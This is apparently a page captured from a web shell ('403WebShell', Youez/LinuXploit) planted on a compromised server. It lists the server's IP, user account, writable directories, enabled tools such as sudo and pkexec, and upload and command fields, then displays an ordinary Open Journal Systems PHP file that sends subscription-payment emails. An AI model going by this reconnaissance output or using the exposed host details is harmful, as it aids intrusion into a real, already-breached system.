Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/iscmbt-kufa-atu/public_html/iscmbt/classes/subscription/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/iscmbt-kufa-atu/public_html/iscmbt/classes/subscription/SubscriptionAction.php
<?php

/**
 * @file classes/subscription/SubscriptionAction.php
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2003-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class SubscriptionAction
 *
 * @ingroup subscriptions
 *
 * Common actions for subscription management functions.
 */

namespace APP\subscription;

use APP\core\Request;
use APP\facades\Repo;
use APP\notification\NotificationManager;
use Exception;
use Illuminate\Support\Facades\Mail;
use PKP\mail\Mailable;
use PKP\notification\PKPNotification;

class SubscriptionAction
{
    /**
     * Send notification email to Subscription Manager when online payment is completed.
     */
    public static function sendOnlinePaymentNotificationEmail(Request $request, Mailable $mailable): void
    {
        $journal = $request->getJournal();

        $subscriptionContactName = $journal->getData('subscriptionName');
        $subscriptionContactEmail = $journal->getData('subscriptionEmail');

        if (empty($subscriptionContactEmail)) {
            $subscriptionContactEmail = $journal->getData('contactEmail');
            $subscriptionContactName = $journal->getData('contactName');
        }

        if (empty($subscriptionContactEmail)) {
            return;
        }

        $template = Repo::emailTemplate()->getByKey($journal->getId(), $mailable::getEmailTemplateKey());
        $mailable
            ->sender($request->getUser())
            ->replyTo($subscriptionContactEmail, $subscriptionContactName)
            ->to($subscriptionContactEmail, $subscriptionContactName)
            ->subject($template->getLocalizedData('subject', $journal->getPrimaryLocale()))
            ->body($template->getLocalizedData('body', $journal->getPrimaryLocale()));

        try {
            Mail::send($mailable);
        } catch (Exception $e) {
            $notificationMgr = new NotificationManager();
            $notificationMgr->createTrivialNotification(
                $request->getUser()->getId(),
                PKPNotification::NOTIFICATION_TYPE_ERROR,
                ['contents' => __('email.compose.error')]
            );
            error_log($e->getMessage());
        }
    }
}

if (!PKP_STRICT_MODE) {
    class_alias('\APP\subscription\SubscriptionAction', '\SubscriptionAction');
}

Youez - 2016 - github.com/yon3zu
LinuXploit